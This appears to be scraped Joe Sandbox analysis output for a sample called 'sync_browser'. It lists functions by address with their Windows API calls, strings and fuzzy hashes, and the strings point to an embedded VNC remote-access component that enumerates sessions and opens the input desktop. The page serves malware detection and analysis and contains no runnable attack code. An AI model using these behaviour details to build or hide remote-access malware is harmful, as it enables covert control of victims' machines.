Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Combine$DeleteObjectfree$CreateRect
String ID:
API String ID: 3143477926-0
Opcode ID: 0a56b58438f5393381c87e283caa4a4dd7c9b87ade4efda876708c0d747ae0c3
Instruction ID: 5cf5a66d5806c2d45dafde14d4c80a8eb074e47a3950fecf70d18385e785d158
Opcode Fuzzy Hash: 0a56b58438f5393381c87e283caa4a4dd7c9b87ade4efda876708c0d747ae0c3
Instruction Fuzzy Hash: BC417C76608A8A82DA60EB16F4A496EB720FBC5FD4F805122EE4E87768DF3CD545C710

Function 00007FF7E50755D0 Relevance: 18.0, APIs: 7, Strings: 5, Instructions: 48COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32 ref: 00007FF7E50755EC
InitializeCriticalSection.KERNEL32 ref: 00007FF7E50755F9
sprintf.LIBCMT ref: 00007FF7E5075623

Part of subcall function 00007FF7E5127C50: _errno.LIBCMT ref: 00007FF7E5127C88
Part of subcall function 00007FF7E5127C50: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E5127C93

sprintf.LIBCMT ref: 00007FF7E5075636
sprintf.LIBCMT ref: 00007FF7E5075649
sprintf.LIBCMT ref: 00007FF7E507565C
sprintf.LIBCMT ref: 00007FF7E507566F

Strings

0.0.0, xrefs: 00007FF7E507562F
Plugin.dsm, xrefs: 00007FF7E5075668
12-12-2002, xrefs: 00007FF7E5075642
Unknown, xrefs: 00007FF7E5075605
Someone, xrefs: 00007FF7E5075655

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: sprintf$CriticalInitializeSection$_errno_invalid_parameter_noinfo
String ID: 0.0.0$12-12-2002$Plugin.dsm$Someone$Unknown
API String ID: 524037307-261918508
Opcode ID: 4e3ff866f97a8194c4c278236100d924ee412cec83e3f0554b4225ebfdf1fe97
Instruction ID: 1d7e8d07b2937b4e61ccd052a26edc5f5de4e6923c185b04c89d72c4afdf424a
Opcode Fuzzy Hash: 4e3ff866f97a8194c4c278236100d924ee412cec83e3f0554b4225ebfdf1fe97
Instruction Fuzzy Hash: BB21DF76504B8691DB01EF24F9903E9B3ACFF54F88F885136DA4C4A6ADDF389295C321

Function 00007FF7E5096A3E Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 269COMMON

Download Yara Rule

APIs

OpenInputDesktop.USER32 ref: 00007FF7E509407F
CloseDesktop.USER32 ref: 00007FF7E50940C2
CloseHandle.KERNEL32 ref: 00007FF7E5096A88
CloseHandle.KERNEL32 ref: 00007FF7E5096B01
LeaveCriticalSection.KERNEL32 ref: 00007FF7E5097BAC

Strings

vncservice.cpp : SelectDesktop , xrefs: 00007FF7E509404B
vncservice.cpp : OpenInputdesktop2 OK, xrefs: 00007FF7E509409A
vncservice.cpp : OpenInputdesktop2 NULL, xrefs: 00007FF7E5094060
vncclient.cpp : vncClientThread , xrefs: 00007FF7E5094029

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Close$DesktopHandle$CriticalInputLeaveOpenSection
String ID: vncclient.cpp : vncClientThread $vncservice.cpp : OpenInputdesktop2 NULL$vncservice.cpp : OpenInputdesktop2 OK$vncservice.cpp : SelectDesktop
API String ID: 4065787043-3977938048
Opcode ID: 246573e72b9e964606911253f6d16abd29567e0b63f4d66f188770489fa65682
Instruction ID: 4ba29b6e2292a860b6d29a1f1c466ab0f7ca9d267332911be869be9a8ecf12b3
Opcode Fuzzy Hash: 246573e72b9e964606911253f6d16abd29567e0b63f4d66f188770489fa65682
Instruction Fuzzy Hash: 96E1C6326086C585E750AB39C4687BEA7A1FBC5F64F844236DA5C877E9CF38D440C722

Function 00007FF7E5095709 Relevance: 17.8, APIs: 3, Strings: 7, Instructions: 264COMMON

Download Yara Rule

APIs

OpenInputDesktop.USER32 ref: 00007FF7E509407F
CloseDesktop.USER32 ref: 00007FF7E50940C2

Strings

vncservice.cpp : SelectDesktop , xrefs: 00007FF7E509404B
vncservice.cpp : OpenInputdesktop2 OK, xrefs: 00007FF7E509409A
enabled, xrefs: 00007FF7E509575E
vncservice.cpp : OpenInputdesktop2 NULL, xrefs: 00007FF7E5094060
vncclient.cpp : rfbSetServerInput: inputs %s, xrefs: 00007FF7E5095777
vncclient.cpp : vncClientThread , xrefs: 00007FF7E5094029
disabled, xrefs: 00007FF7E509576C

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Desktop$CloseInputOpen
String ID: disabled$enabled$vncclient.cpp : rfbSetServerInput: inputs %s$vncclient.cpp : vncClientThread $vncservice.cpp : OpenInputdesktop2 NULL$vncservice.cpp : OpenInputdesktop2 OK$vncservice.cpp : SelectDesktop
API String ID: 1367241101-2270697846
Opcode ID: 1b183829833fec8f16a716ecdcb68095327f5337e21e681376bb5099e03e3359
Instruction ID: 0fbbcd557d01018afb62f34842c3588b9bd018e6eabd73fd84865fd5593302fc
Opcode Fuzzy Hash: 1b183829833fec8f16a716ecdcb68095327f5337e21e681376bb5099e03e3359
Instruction Fuzzy Hash: 91D1A422A086C585E751AB39C4687FDABA1FBC5F54F894032EA4C877A9CF38D445C722

Function 00007FF7E5081A60 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 98libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF7E5081A9D
GetProcAddress.KERNEL32 ref: 00007FF7E5081ABA
LoadLibraryA.KERNEL32 ref: 00007FF7E5081AD7
GetProcAddress.KERNEL32 ref: 00007FF7E5081AF4
FreeLibrary.KERNEL32 ref: 00007FF7E5081B9E
FreeLibrary.KERNEL32 ref: 00007FF7E5081BAD

Strings

WTSEnumerateProcessesA, xrefs: 00007FF7E5081AB0
wtsapi32, xrefs: 00007FF7E5081A96, 00007FF7E5081AD0
winlogon.exe, xrefs: 00007FF7E5081B50
WTSFreeMemory, xrefs: 00007FF7E5081AEA

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeLoadProc
String ID: WTSEnumerateProcessesA$WTSFreeMemory$winlogon.exe$wtsapi32
API String ID: 145871493-4162899161
Opcode ID: 0adbf5e9dd7c30560f15780b9e5a176f1c63490ee2f09b9478d032169a347fac
Instruction ID: c8a94a4f26c618f608bbc749e7b83b0e3ff3db0ee86c6271d1176f29d2cdafa8
Opcode Fuzzy Hash: 0adbf5e9dd7c30560f15780b9e5a176f1c63490ee2f09b9478d032169a347fac
Instruction Fuzzy Hash: EA41B332609B8A86E660AF15F4503A9B3A0FF85FA0F884136DD5D87754EF3CD445C711

Function 00007FF7E5082520 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 97libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF7E5082551
GetProcAddress.KERNEL32 ref: 00007FF7E508256E
LoadLibraryA.KERNEL32 ref: 00007FF7E508258B
GetProcAddress.KERNEL32 ref: 00007FF7E50825A8
FreeLibrary.KERNEL32 ref: 00007FF7E5082658
FreeLibrary.KERNEL32 ref: 00007FF7E5082667

Strings

wtsapi32, xrefs: 00007FF7E508254A, 00007FF7E5082584
WTSEnumerateSessionsA, xrefs: 00007FF7E5082564
Console, xrefs: 00007FF7E5082605
WTSFreeMemory, xrefs: 00007FF7E508259E

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Console$WTSEnumerateSessionsA$WTSFreeMemory$wtsapi32
API String ID: 145871493-4083478734
Opcode ID: 6cf080f84c71be26cb1bfa4edcfbd06d998d32083e0e310b716d811f44676067
Instruction ID: 3c47889d69afb3679f0cb89fe9edb1640297d864fc6453271283abdd115835c4
Opcode Fuzzy Hash: 6cf080f84c71be26cb1bfa4edcfbd06d998d32083e0e310b716d811f44676067
Instruction Fuzzy Hash: C1418121A09B4B86E660EF25F86076AE2A0FF45F90F880136D95D87394EF3CE454C721

Function 00007FF7E50A0700 Relevance: 17.5, APIs: 9, Strings: 1, Instructions: 49threadsleepsynchronizationCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32 ref: 00007FF7E50A071E
Sleep.KERNEL32 ref: 00007FF7E50A072C
IsWindow.USER32 ref: 00007FF7E50A0735
GetCurrentThread.KERNEL32 ref: 00007FF7E50A0744
SetThreadPriority.KERNEL32 ref: 00007FF7E50A074F
WaitForSingleObject.KERNEL32 ref: 00007FF7E50A0768
PostMessageA.USER32 ref: 00007FF7E50A0780
IsWindow.USER32 ref: 00007FF7E50A0789
CloseHandle.KERNEL32 ref: 00007FF7E50A07A6

Strings

VncEvent, xrefs: 00007FF7E50A0710

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ThreadWindow$CloseCurrentEventHandleMessageObjectOpenPostPrioritySingleSleepWait
String ID: VncEvent
API String ID: 2428488660-2681191898
Opcode ID: 78b1a00b88fe3fbd3304328edc48d2619275dfc3e1a6d7d438e00feda673ce81
Instruction ID: 741e80d9c7f19a776e0cb444c5d83ce28240ec347c0870d8f285a77855b65c36
Opcode Fuzzy Hash: 78b1a00b88fe3fbd3304328edc48d2619275dfc3e1a6d7d438e00feda673ce81
Instruction Fuzzy Hash: A8118620F0C64E42FB65BB31BA7877D9291AF89F85F886032D90E86654EE3C94448732

Function 00007FF7E50DC970 Relevance: 17.5, APIs: 6, Strings: 4, Instructions: 46libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32 ref: 00007FF7E50DC988
InitializeCriticalSection.KERNEL32 ref: 00007FF7E50DC992
InitializeCriticalSection.KERNEL32 ref: 00007FF7E50DC99F
LoadLibraryA.KERNEL32 ref: 00007FF7E50DCA03
GetProcAddress.KERNEL32 ref: 00007FF7E50DCA1F
GetProcAddress.KERNEL32 ref: 00007FF7E50DCA3A

Strings

GetPerTcpConnectionEStats, xrefs: 00007FF7E50DCA15
Iphlpapi.dll, xrefs: 00007FF7E50DC9C7
SetPerTcpConnectionEStats, xrefs: 00007FF7E50DCA2C
vsocket.cpp : VSocket() m_pDSMPlugin = NULL , xrefs: 00007FF7E50DC9A5

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection$AddressProc$LibraryLoad
String ID: GetPerTcpConnectionEStats$Iphlpapi.dll$SetPerTcpConnectionEStats$vsocket.cpp : VSocket() m_pDSMPlugin = NULL
API String ID: 3015439405-2946900448
Opcode ID: b5c9a895933125692294ff2e15cdf7522bd1a19dbcf515155b618464db81f3f7
Instruction ID: 747768075b774ac4a0e062906af0bc2101245b70bd720dcaa461dc92e9c17d81
Opcode Fuzzy Hash: b5c9a895933125692294ff2e15cdf7522bd1a19dbcf515155b618464db81f3f7
Instruction Fuzzy Hash: 8E214C76914B8A81EB10EF24F8642A873A4FB04F09F845136CE5D97368EF7CD558C762

Function 00007FF7E513D304 Relevance: 16.8, APIs: 11, Instructions: 254COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 00007FF7E513D32C
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E513D337
__wtomb_environ.LIBCMT ref: 00007FF7E513D419
_errno.LIBCMT ref: 00007FF7E513D422
free.LIBCMT ref: 00007FF7E513D513
SetEnvironmentVariableA.KERNEL32 ref: 00007FF7E513D644
_errno.LIBCMT ref: 00007FF7E513D651
free.LIBCMT ref: 00007FF7E513D65F
free.LIBCMT ref: 00007FF7E513D66C
free.LIBCMT ref: 00007FF7E513D693

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: free$_errno$EnvironmentVariable__wtomb_environ_invalid_parameter_noinfo
String ID:
API String ID: 101574016-0
Opcode ID: 181369242843f9036f05e592b74b1e6aafa5b20a9f3d11d8321f47b8ab448537
Instruction ID: b5bf741bbd763da0366ec58b36f8919d9485c8406a5cfaa794dfc8d2abcc82c7
Opcode Fuzzy Hash: 181369242843f9036f05e592b74b1e6aafa5b20a9f3d11d8321f47b8ab448537
Instruction Fuzzy Hash: 6CA1A062E0974A81FA11BB15B930779A294AF40FD4F868536DD5D8BB8DDF3CE8418322

Function 00007FF7E5138A7C Relevance: 16.6, APIs: 11, Instructions: 83COMMON

Download Yara Rule

APIs

GetFullPathNameA.KERNEL32 ref: 00007FF7E5138ABB
GetLastError.KERNEL32 ref: 00007FF7E5138AC5
_errno.LIBCMT ref: 00007FF7E5138AEB
calloc.LIBCMT ref: 00007FF7E5138B00
_errno.LIBCMT ref: 00007FF7E5138B0D
_errno.LIBCMT ref: 00007FF7E5138B1F
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E5138B2A
GetFullPathNameA.KERNEL32 ref: 00007FF7E5138B41
free.LIBCMT ref: 00007FF7E5138B56
_errno.LIBCMT ref: 00007FF7E5138B5B
free.LIBCMT ref: 00007FF7E5138B7B

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: _errno$FullNamePathfree$ErrorLast_invalid_parameter_noinfocalloc
String ID:
API String ID: 3219262609-0
Opcode ID: bfbee9e4b5986560eceb10190c14978969bf0a457ba4f53162cbca2fe3e34832
Instruction ID: e8df9e513a76513a5fd79b32715d06061281f24ece9ef9460cbf1d838b4819d3
Opcode Fuzzy Hash: bfbee9e4b5986560eceb10190c14978969bf0a457ba4f53162cbca2fe3e34832
Instruction Fuzzy Hash: 8831A061A0E28B95FA51BB61747037DA190AF45F90F994433E95EC7BCEEE3CA4018322

Function 00007FF7E509D930 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 85libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32 ref: 00007FF7E509D95E

Part of subcall function 00007FF7E51079A0: EnterCriticalSection.KERNEL32 ref: 00007FF7E51079C7
Part of subcall function 00007FF7E51079A0: LeaveCriticalSection.KERNEL32 ref: 00007FF7E51079E9
Part of subcall function 00007FF7E51079A0: CreateSemaphoreA.KERNEL32 ref: 00007FF7E5107A03
Part of subcall function 00007FF7E51079A0: GetLastError.KERNEL32 ref: 00007FF7E5107A15

Part of subcall function 00007FF7E507D9D0: OpenFileMappingA.KERNEL32 ref: 00007FF7E507DA07
Part of subcall function 00007FF7E507D9D0: MapViewOfFile.KERNEL32 ref: 00007FF7E507DA2D

InitializeCriticalSection.KERNEL32 ref: 00007FF7E509D9EB

Part of subcall function 00007FF7E5074680: InitializeCriticalSection.KERNEL32 ref: 00007FF7E50746A0
Part of subcall function 00007FF7E5074680: GetModuleHandleA.KERNEL32 ref: 00007FF7E50746C5
Part of subcall function 00007FF7E5074680: GetProcAddress.KERNEL32 ref: 00007FF7E50746DA
Part of subcall function 00007FF7E5074680: GetModuleHandleA.KERNEL32 ref: 00007FF7E50746F2
Part of subcall function 00007FF7E5074680: GetProcAddress.KERNEL32 ref: 00007FF7E5074707
Part of subcall function 00007FF7E5074680: GetTickCount.KERNEL32 ref: 00007FF7E507475E

LoadLibraryA.KERNEL32 ref: 00007FF7E509DA0D
GetProcAddress.KERNEL32 ref: 00007FF7E509DA30
LoadLibraryA.KERNEL32 ref: 00007FF7E509DA51
GetProcAddress.KERNEL32 ref: 00007FF7E509DA6D

Strings

ChangeWindowMessageFilter, xrefs: 00007FF7E509DA63
GetCursorInfo, xrefs: 00007FF7E509DA26
user32.dll, xrefs: 00007FF7E509DA06, 00007FF7E509DA4A

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CriticalSection$AddressProc$Initialize$FileHandleLibraryLoadModule$CountCreateEnterErrorLastLeaveMappingOpenSemaphoreTickView
String ID: ChangeWindowMessageFilter$GetCursorInfo$user32.dll
API String ID: 173432231-678763868
Opcode ID: faf61d6d44ca246d6e556e1dfbdb385b5274f0d62226512dde9a94f323da9ec3
Instruction ID: 517bd0a940e9050cb91481739263b9e17871deac419213723aa8336020dcba2b
Opcode Fuzzy Hash: faf61d6d44ca246d6e556e1dfbdb385b5274f0d62226512dde9a94f323da9ec3
